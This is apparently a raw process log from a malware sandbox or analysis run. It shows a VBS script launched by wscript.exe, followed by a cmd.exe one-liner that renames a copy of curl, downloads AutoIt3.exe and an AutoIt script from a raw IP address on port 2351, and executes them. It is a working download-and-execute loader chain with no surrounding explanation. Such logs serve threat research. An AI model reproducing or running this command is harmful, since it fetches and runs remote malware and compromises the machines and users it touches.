wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\neverban_LRKOPK.vbs
3052cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir c:\wxnc & cd /d c:\wxnc & copy c:\windows\system32\curl.exe wxnc.exe & wxnc -H "User-Agent: curl" -o Autoit3.exe http://66.42.63.27:2351 & wxnc -o twufda.au3 http://66.42.63.27:2351/msiwxncevmm & Autoit3.exe twufda.au3
156